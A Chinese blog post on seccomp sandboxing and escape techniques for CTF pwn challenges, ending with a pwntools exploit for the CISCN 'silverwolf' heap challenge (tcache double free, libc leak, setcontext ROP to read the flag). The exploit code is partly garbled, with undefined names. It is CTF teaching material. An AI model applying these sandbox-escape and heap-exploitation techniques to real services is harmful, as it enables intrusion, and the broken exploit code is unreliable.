原创 | 沙盒逃逸之seccomp学习

admin 2021年11月1日10:00:50评论931 views字数 6968阅读23分13秒阅读模式
原创 | 沙盒逃逸之seccomp学习
点击上方蓝字 关注我吧


1
前言


今年的国赛pwn出了2道关于沙盒逃逸的题目,但之前只是了解并没有接触过沙盒逃逸,所以没做,国赛后的几天又去学习了沙盒逃逸,又一次知道了自己多菜。。。写下本篇记录沙盒逃逸的学习,本文仅介绍与pwn有关的沙盒逃逸。


2
沙盒


介绍


为了保护系统安全,用户层的应用程序使用计算机资源需要通过系统调用,Linux即可以通过C库函数进行系统调用,但是并不是所有的系统调用都会被用到,其中有些敏感的系统调用可能会被误用,比如pwn题中经常通过system、execve 来etshell,为了防止这种情况发生沙盒应运而生,通过沙盒可以限制系统调用的使用极大提高系统安全性。


seccomp


seccomp(secure computing mode)是Linux内核中的一种安全机制,也是本文介绍的沙盒机制,它从Linux 2.6.10之后引入到kernel中,最早来源于Cpushare项目。通过seccomp既可以限制可使用的系统调用,还可以定义非法系统调用的动作,如结束非法系统调用的进程。


开启seccomp可以使用prctl或libseccomp,早期的seccomp需要prctl系统调用来实现作用,后来为了方便使用封装了libseccomp库直接实现seccomp,后面会进行介绍。


对比进程是否使用了seccomp可以使用cat /proc/进程号/status 命令(需要Linux3.8版本后),对比下面的zsh(一个终端)和本文例题的seccomp字段:


zsh:


原创 | 沙盒逃逸之seccomp学习

原创 | 沙盒逃逸之seccomp学习


例题silverwolf:


原创 | 沙盒逃逸之seccomp学习

原创 | 沙盒逃逸之seccomp学习


上图对比可以发现zsh的seccomp字段为0未开启沙盒,例题silverwolf的seccomp字段为2使用了seccomp并处于seccomp_mode_filter模式。


prctl


prctl是一个系统调用,它使用BPF(伯克利包过滤语言,通过BPF过滤规则可以对流量进行检查,具体介绍可以去下面的参考链接去查看)对进程进行控制,通过prctl可以选择seccomp的使用模式,它的函数原型是:

#include <sys/prctl.h>          int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);      

这里我们只关注前3个参数,option最常用的是

PR_SET_NO_NEW_PRIVS(38)和

PR_SET_SECCOMP(22)。


1、option为PR_SET_NO_NEW_PRIVS(38)


使用38为option的参数会开启沙盒禁止使用execve系统调用进行提权,且只对execve系统调用有效,system因为本质上也调用了execve系统调用也不能被用来提权,这样通过execve打开的shell还是处于原用户组不能获取更高权限,而且即使再调用prctl也不能禁用execve。


另外option为PR_SET_NO_NEW_PRIVS(38)后seccomp对系统上的所有用户都有效,使用了prctl(38,1LL,0LL,0LL,0LL)的程序子进程继承了父进程的filtees将都不能使用execve、system、onegadget。


2、option为PR_SET_SECCOMP(22)


这种模式可以自由设置可以使用的系统调用,具体设置取决于arg2参数。


如果arg2为SECCOMP_MODE_STRICT(1)则只能调用read、write、sigreturn、exit这4个系统调用,使用其他系统调用会终止程序,很明显一个程序不可能只使用4个系统调用,因为这种限制可用性不大后面就有了可以自由设置禁用系统调用的方式设置arg2为SECCOMP_MODE_FILTER(2),这样可以通过arg3参数自由设置可以使用的系统调用。


简单介绍下seccomp的过滤模式(这部分的原理在参考中大神写的很详细,具体原理去看参考这里不再介绍),当option为PR_SET_SECCOMP(22),arg2为SECCOMP_MODE_FILTER(2)使通过arg3定义过滤模式,arg3指向sock_fprog结构体指针,该结构体记录了过滤规则数和规则数组位置,原型为:


struct sock_fprog {   unsigned short      len;    //BPF指令数    struct sock_filter *filter; //指向BPF指令数组的指针};


ilter是另一个结构体,可以自由设置,它指向设置的具体规则,原型为:

struct sock_filter {            /* Filter block */    __u16 code;                 /* Actual filter code */    __u8  jt;                   /* Jump true */    __u8  jf;                   /* Jump false */    __u32 k;                    /* Generic multiuse field */};

比如设置filter禁止execve系统调用filter为:
struct sock_filter filter[] = {    BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0),      //帧的偏移0处取4个字节数据,将系统调用号载入累加器    BPF_JUMP(BPF_JMP+BPF_JEQ,59,0,1),      //当A为execve的系统调用号(59为x64 execve的系统调用号)时执行下一条规则,否则执行下下条规则    BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL),   //返回KILL    BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW),  //返回ALLOW};


libseccomp


libseccomp是一个基于BPF的seccomp库函数,通过libseccomp可以跳过prctl直接配置过滤策略过滤系统调用,要使用它缺少头文件需要提前安装一些库文件:

sudo apt install libseccomp-dev libseccomp2 seccomp


安装完成后在需要使用seccomp的程序中导入文件头#include <linux/seccomp.h>后就可以直接scmp_filter_ctxseccomp_initseccomp_rule_add seccomp_load  seccomp_reset对系统调用进行过滤,最后使用gcc -g 文件名.c -o 文件名 -lseccomp命令编译。


scmp_filter_ctx是过滤器的结构体。seccomp_init用以初始化结构体,参数为SCMP_ACT_ALLOW为过滤黑名单模式,名单中没有出现的系统调用可以使用,若参数为SCMP_ACT_KILL为过滤白名单模式,名单中出现的系统调用可以使用。


seccomp_rule_add用来添加规则限制系统调用,比如seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0)禁用execve。seccomp_load应用过滤规则。seccomp_reset解除过滤规则。


绕过seccomp


上面简略介绍了沙盒的作用,知道沙盒的作用后应该能够学习这部分的绕过和下面的例题,如果想知道seccomp沙盒的具体实现还是推荐去看下面给出的参考链接。


pwn题中seccomp的组合使用很多,最常见的seccomp会禁用execve系统调用、open系统调用、write系统调用、read系统调用,但一般不会同时将其全部禁用,或者说更底层的系统调用没有被禁用。


如果只是禁用了execve系统调用可以通过各种方式使用open、read、write打开flag文件读取并打印flag内容,如果禁用了open、read、write可以调用openat打开flag文件,readv和writev读取并打印flag内容。


最后前几年的时候有的pwn题没有对arch进行检查,因为每个架构的系统调用号不同,如果能够更改架构,就能绕过沙盒的限制,要实现这点需要3个条件,第一个对arch没有检查。


第二个需要对特定的系统调用号没有禁用,比如Linux的32位execve的系统调用号是11,64位的系统调用号是59,如果更改64位为32位就需要没有禁用32位execve的系统调用号11,反之更改32位为64位则需要没有禁用64位的execve系统调用号59。


第三需要能够使用sys_mmap或sys_mprotect,因为如果要改变arch一般找不到合适的gadget使用,所以需要使用shellcode,而使用shellcode需要有一块可写可执行的内存,而这块内存可以使用sys_mmap或sys_mprotect来获取。


例题


上面大致介绍完了沙盒的使用、绕过看一下今年CISCN的一道沙盒逃逸的pwn题,这道题当时只看出来了是使用沙盒做的,但当时并没做过沙盒的题目,事后又看的大佬的wp复现了下。


本题附件下载下来后是一个可执行文件和libc2.27文件。


保护检查


原创 | 沙盒逃逸之seccomp学习


保护全开。


分析


main函数:


原创 | 沙盒逃逸之seccomp学习


上面的函数名根据其作用做了注释,seccomp函数使用了seccomp限制了系统调用,看一下seccomp函数:


原创 | 沙盒逃逸之seccomp学习


使用seccomp-tools查看下:


原创 | 沙盒逃逸之seccomp学习


最后可以确定检查了arch,禁用了execve,open、read、write系统调用可用,再看一下其他有用的函数:


allocate函数:


原创 | 沙盒逃逸之seccomp学习


该函数malloc chunk,限制了chunk的大小,另外只能申请一个chunk,之后申请的chunk都会代替前一个申请的chunk。


delete函数:


原创 | 沙盒逃逸之seccomp学习


存在UAF漏洞。


思路与exp


上面的分析已经知道了chunk的申请只能申请一个且大小只能小于0x78,存在UAF漏洞,开启了沙盒限制了execve系统调用,但没禁用read、write、open系统调用,根据规律大概可以确定flag和本题应该放在同一个文件中可以使用open打开flag文件。


那么大致思路就可以是先泄露libc地址以便后续调用open、read、write系统调用,之后再控制一块可控的内存区执行orw(open、read、write读取flag)的rop链读取打印flag。


详细思路是malloc chunk时限制了大小不能通过unsorted bin直接泄露libc地址,但可以先通过tcache的double free漏洞泄露heap地址,然后通过heap的偏移控制chunk的head,修改标志位将chunk放入unsorted bin中泄露libc地址,知道libc地址后就构造rop链调用open、read、write系统调用,最后通过修改free_hook为setcontext函数设置上下文控制程序流跳转去执行rop链读取flag。


exp:

from pwn import *p=remote('124.71.227.189',23122)libc=ELF("./libc-2.27.so")elf=ELF("./silverwolf")
allocate(size): p.sendlineafter("Your choice: ","1") p.sendlineafter("Index: ","0") p.sendlineafter("Size: ",str(size))
def edit(context): p.sendlineafter("Your choice: ","2") p.sendlineafter("Index: ","0") p.sendlineafter("Content: ",context)
def show(): p.sendlineafter("Your choice: ","3") p.sendlineafter("Index: ","0")
def delete(): p.sendlineafter("Your choice: ","4") p.sendlineafter("Index: ","0")
#泄露heapallocate(64)delete()edit("a"*16)delete()show()p.recvuntil("Content: ")heap=u64(p.recv(6).ljust(8,b"x00"))heap_addr=heap-0x1920
#泄露libchead=heap_addr+16new(48)edit(p64(head))new(48)new(48)edit(p64(0)*4+p64(0x00000000ff000000))delete()show()p.recvuntil("Content: ")lib=u64(p.recvuntil(6).ljust(8,b"x00"))lib_addr=lib-112-libc.sym["__malloc_hook"]setcontext=lib_addr+libc.sym["setcontext"]+53free_hook=lib_addr+libc.sym["__free_hook"]
#rop链,下面的pop_rdi_ret等要本地测试rop_addr=heap_addr+0x1000flag_addr=heap_addr+0x2000pop_rdi_ret=lib_addr+0x00000000000215bfpop_rdx_ret=lib_addr+0x0000000000001b96pop_rsi_ret=lib_addr+0x0000000000023eeapop_rax_ret=lib_addr+0x0000000000043ae8syscall=read_f+15open=base+libc.sym["open"]read=lib_addr+libc.sym["read"]write=lib_addr+libc.sym["write"]rop=p64(pop_rdi_ret)+p64(flag_addr)rop+=p64(pop_rsi_ret)+p64(0)rop+=p64(pop_rax_ret)+p64(2)rop+=p64(syscall)rop+=p64(pop_rdi_ret)+p64(3)rop+=p64(pop_rsi_ret)+p64(flag_addr)rop+=p64(pop_rdx_ret)+p64(48)rop+=p64(read)rop+=p64(pop_rdi_ret)+p64(1)rop+=p64(pop_rsi_ret)+p64(flag_addr)rop+=p64(pop_rdx_ret)+p64(48)rop+=p64(write)
#通过tcache控制chunk修改free_hook为setcontext去执行rop链allocate(72)edit(p64(0)*9)for i in range(5): allocate(16)allocate(24)edit(p64(heap_addr+80))allocate(56)padding=p64(free_hook)+p64(heap_addr+0x2000)+p64(heap_addr+0x20A0)padding+=p64(heap_addr+0x2000)+p64(rop_addr+0x60)+p64(rop_addr)+p64(0)edit(padding)allocate(16)edit(p64(setcontext))allocate(32)edit("./flagx00")allocate(48)edit(p64(rop_addr)+p64(pop_rdi_ret+1))allocate(96)edit(rop[:96])allocate(80)edit(rop[96:])allocate(64)delete()p.interactive()


3
结语


近年来沙盒应用的越来越广泛,docker、内核、Java、python等都使用了沙盒,要想从CTF转向现实生活需要更加深入的学习各种知识,比如wiki上的python沙盒逃逸和本文的seccomp沙盒逃逸技巧就不同,但大致原理是类似的,都是禁用了某些函数或系统调用,可以理解沙盒的概念后再去学习技巧。本文小白文,大佬轻喷。


4
参考


https://bbs.pediy.com/thread-258146.htm


https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247495294&idx=1&sn=ad9e8db7e18d35dee32ba84cd0611546


https://blog.csdn.net/eeeeeight/article/details/116937672


相关推荐




划重点 | 一图读懂2021年IBG技术节
原创 | 堆的off-by-one利用
原创 | vulnhub: Momentum:1
原创 | 堆的unsorted bin attack利用

原创 | 沙盒逃逸之seccomp学习
你要的分享、在看与点赞都在这儿~

本文始发于微信公众号(SecIN技术平台):原创 | 沙盒逃逸之seccomp学习

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年11月1日10:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   原创 | 沙盒逃逸之seccomp学习https://cn-sec.com/archives/400295.html

发表评论

匿名网友 填写信息